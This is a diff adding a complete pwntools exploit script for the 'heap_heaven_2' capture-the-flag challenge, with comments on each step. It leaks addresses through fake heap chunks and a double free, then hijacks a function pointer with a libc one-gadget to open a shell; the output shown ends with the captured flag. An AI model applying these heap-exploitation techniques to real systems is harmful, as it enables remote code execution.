|
| 1 | +#!/usr/bin/env python2 |
| 2 | +# -*- coding: utf-8 -*- |
| 3 | +import os |
| 4 | + |
| 5 | +from pwn import * |
| 6 | + |
| 7 | +context(arch="amd64", os="linux") |
| 8 | + |
| 9 | +if not args["REMOTE"]: |
| 10 | + binary = ELF("./heap_heaven_2-2.28-4") |
| 11 | + libc = ELF("libs/libc-x86_64-2.28-4.so") |
| 12 | + |
| 13 | + argv = [binary.path] |
| 14 | + envp = {"PWD": os.getcwd()} |
| 15 | + |
| 16 | + if args["GDB"]: |
| 17 | + io = gdb.debug( |
| 18 | + args=argv, |
| 19 | + env=envp, |
| 20 | + aslr=False, |
| 21 | + terminal=["tmux", "new-window"], |
| 22 | + gdbscript=""" |
| 23 | + set follow-fork-mode parent |
| 24 | + continue |
| 25 | + """, |
| 26 | + ) |
| 27 | + else: |
| 28 | + io = process(argv=argv, env=envp) |
| 29 | +else: |
| 30 | + binary = ELF("./heap_heaven_2") |
| 31 | + libc = ELF("libs/libc-x86_64-2.28-4.so") |
| 32 | + |
| 33 | + io = remote("arcade.fluxfingers.net", 1809) |
| 34 | + |
| 35 | + |
| 36 | +def write(size, offset, data): |
| 37 | + io.sendlineafter("[5] : exit\n", "1") |
| 38 | + io.sendlineafter("How much do you want to write?\n", str(size)) |
| 39 | + io.sendlineafter("At which offset?\n", str(offset)) |
| 40 | + io.send(data) |
| 41 | + |
| 42 | + |
| 43 | +def free(offset): |
| 44 | + io.sendlineafter("[5] : exit\n", "3") |
| 45 | + io.sendlineafter("At which offset do you want to free?\n", str(offset)) |
| 46 | + |
| 47 | + |
| 48 | +def leak(offset): |
| 49 | + io.sendlineafter("[5] : exit\n", "4") |
| 50 | + io.sendlineafter("At which offset do you want to leak?\n", str(offset)) |
| 51 | + return io.recvn(6) |
| 52 | + |
| 53 | + |
| 54 | +# 1. leaking an address from the heap |
| 55 | + |
| 56 | +# store some fake chunks in the mmaped area |
| 57 | +fake_chunk1 = fit( |
| 58 | + {0x00: p64(0x41424344), 0x08: p64(0x501), 0x10: "AAAAAAAA"}, length=0x500 |
| 59 | +) |
| 60 | +fake_chunk2 = fit( |
| 61 | + {0x00: p64(0x41424344), 0x08: p64(0x41), 0x10: "BBBBBBBB"}, length=0x40 |
| 62 | +) |
| 63 | +fake_chunk3 = fit( |
| 64 | + {0x00: p64(0x41424344), 0x08: p64(0x41), 0x10: "CCCCCCCC"}, length=0x40 |
| 65 | +) |
| 66 | + |
| 67 | +payload = fake_chunk1 + fake_chunk2 + fake_chunk3 |
| 68 | +offset = 0 |
| 69 | +write(len(payload), offset, payload) |
| 70 | + |
| 71 | +# free `fake_chunk1`, which goes into the unsorted bin |
| 72 | +fake_chunk1_offset = offset + 0x10 |
| 73 | +free(fake_chunk1_offset) |
| 74 | + |
| 75 | +# now, the `fd` and `bk` fields of `fake_chunk1` are populated with addresses from libc, |
| 76 | +# pointing to addresses from the heap; use the leak functionality of the binary to print one of them |
| 77 | +a_heap_addr = u64(leak(fake_chunk1_offset).ljust(8, "\0")) |
| 78 | +heap_address = a_heap_addr - (0x55555555B290 - 0x55555555B000) |
| 79 | +io.success("heap_address: %#x" % heap_address) |
| 80 | + |
| 81 | + |
| 82 | +# 2. leaking an address from the mmaped area |
| 83 | + |
| 84 | +# double free `fake_chunk2` so that its `fd` field points to itself |
| 85 | +fake_chunk2_offset = offset + len(fake_chunk1) + 0x10 |
| 86 | +free(fake_chunk2_offset) |
| 87 | +free(fake_chunk2_offset) |
| 88 | + |
| 89 | +# again, use the leak functionality to print the `fd` field of `fake_chunk2` |
| 90 | +# (the [:-1] is for skipping the newline character printed by `puts()`) |
| 91 | +a_mmap_addr = u64(leak(fake_chunk2_offset)[:-1].ljust(8, "\0")) |
| 92 | +mmap_address = a_mmap_addr - (0x9E52789510 - 0x0000009E52789000) |
| 93 | +io.success("mmap_address: %#x" % mmap_address) |
| 94 | + |
| 95 | + |
| 96 | +# 3. leaking an address from libc |
| 97 | + |
| 98 | +# as said before, as a result of 1. the `fd` and `bk` fields of `fake_chunk1` contains |
| 99 | +# addresses of libc; since we now know the base address of the mmaped page, we just |
| 100 | +# write somewhere on the page (e.g. at offset 0x1000) a pointer to the `fd` field of `fake_chunk1` |
| 101 | +# and use the leak functionality of the binary to print its value |
| 102 | +fake_chunk1_fd_addr = mmap_address + offset + 0x10 |
| 103 | + |
| 104 | +payload = p64(fake_chunk1_fd_addr) |
| 105 | +offset = 0x1000 |
| 106 | +write(len(payload), offset, payload) |
| 107 | + |
| 108 | +# the address of libc we are going to print has a null least significative byte; thus, |
| 109 | +# before printing it, we need to manually change the value of that byte (otherwise, `puts()` |
| 110 | +# will only print an empty string) |
| 111 | +write(1, fake_chunk1_offset, chr(0x41)) |
| 112 | + |
| 113 | +a_libc_addr = u64(leak(offset).ljust(8, "\0")) |
| 114 | +a_libc_addr -= 0x41 |
| 115 | +libc.address = a_libc_addr - (0x7FFFF7FC6B00 - 0x7FFFF7E08000) |
| 116 | +io.success("libc.address: %#x" % libc.address) |
| 117 | + |
| 118 | + |
| 119 | +# 4. executing a one-gadget |
| 120 | + |
| 121 | +# store some fake chunks in the mmaped area |
| 122 | +fake_chunk4 = fit( |
| 123 | + {0x00: p64(0x41424344), 0x08: p64(0x21), 0x10: "DDDDDDDD"}, length=0x20 |
| 124 | +) |
| 125 | +fake_chunk5 = fit( |
| 126 | + {0x00: p64(0x41424344), 0x08: p64(0x81), 0x10: "EEEEEEEE"}, length=0x80 |
| 127 | +) |
| 128 | + |
| 129 | +payload = fake_chunk4 + fake_chunk5 |
| 130 | +offset = 0x1200 |
| 131 | +write(len(payload), offset, payload) |
| 132 | + |
| 133 | +# free `fake_chunk4` some times to fill the tcache |
| 134 | +fake_chunk4_offset = offset + 0x10 |
| 135 | +free(fake_chunk4_offset) |
| 136 | +free(fake_chunk4_offset) |
| 137 | +free(fake_chunk4_offset) |
| 138 | +free(fake_chunk4_offset) |
| 139 | +free(fake_chunk4_offset) |
| 140 | +free(fake_chunk4_offset) |
| 141 | +free(fake_chunk4_offset) |
| 142 | + |
| 143 | +# the next `free()` will put `fake_chunk4` into the fast bin |
| 144 | +free(fake_chunk4_offset) |
| 145 | + |
| 146 | +# as the last step, we are going to free the chunk (allocated by the binary at the start |
| 147 | +# of the program) that contains a pointer to the array of functions `bye()` and `menu()` |
| 148 | + |
| 149 | +# by freeing this chunk, this pointer gets updated with the address of the chunk at the top |
| 150 | +# of the fast bin (our fake chunk) |
| 151 | + |
| 152 | +# in this way, at the next call of `menu()`, the binary will use a pointer to `fake_chunk4` |
| 153 | +# to find the array of functions; instead of `menu()`, it will find the address of the one-gadget |
| 154 | + |
| 155 | +# $ one_gadget libs/libc-x86_64-2.28-4.so |
| 156 | +# . . . |
| 157 | +# 0xe75f0 execve("/bin/sh", rsp+0x60, environ) |
| 158 | +# constraints: |
| 159 | +# [rsp+0x60] == NULL |
| 160 | +# . . . |
| 161 | +one_gadget_addr = libc.address + 0xE75F0 |
| 162 | + |
| 163 | +payload = p64(one_gadget_addr) |
| 164 | +write(len(payload), fake_chunk4_offset - 0x8, payload) |
| 165 | + |
| 166 | +free(heap_address - mmap_address + (0x55555555B260 - 0x55555555B000)) |
| 167 | +# and enjoy the shell |
| 168 | +io.interactive() |
| 169 | +# $ ./heap_heaven_2.py REMOTE |
| 170 | +# [*] '/home/vagrant/vbox/Heap-Heaven-2/heap_heaven_2' |
| 171 | +# Arch: amd64-64-little |
| 172 | +# RELRO: Full RELRO |
| 173 | +# Stack: Canary found |
| 174 | +# NX: NX enabled |
| 175 | +# PIE: PIE enabled |
| 176 | +# [*] '/home/vagrant/vbox/Heap-Heaven-2/libs/libc-x86_64-2.28-4.so' |
| 177 | +# Arch: amd64-64-little |
| 178 | +# RELRO: Full RELRO |
| 179 | +# Stack: Canary found |
| 180 | +# NX: NX enabled |
| 181 | +# PIE: PIE enabled |
| 182 | +# [+] Opening connection to arcade.fluxfingers.net on port 1809: Done |
| 183 | +# [+] heap_address: 0x5571b44c7000 |
| 184 | +# [+] mmap_address: 0x871155b000 |
| 185 | +# [+] libc.address: 0x7f63b92f0000 |
| 186 | +# [*] Switching to interactive mode |
| 187 | +# \x89��Fc: cannot set terminal process group (10647): Inappropriate ioctl for device |
| 188 | +# \x89��Fc: no job control in this shell |
| 189 | +# [chall@hacklu18 ~]$ $ ls |
| 190 | +# flag heap_heaven_2 |
| 191 | +# [chall@hacklu18 ~]$ $ cat flag |
| 192 | +# flag{th1s_w4s_still_ez_h3ap_stuff_r1ght?!} |
0 commit comments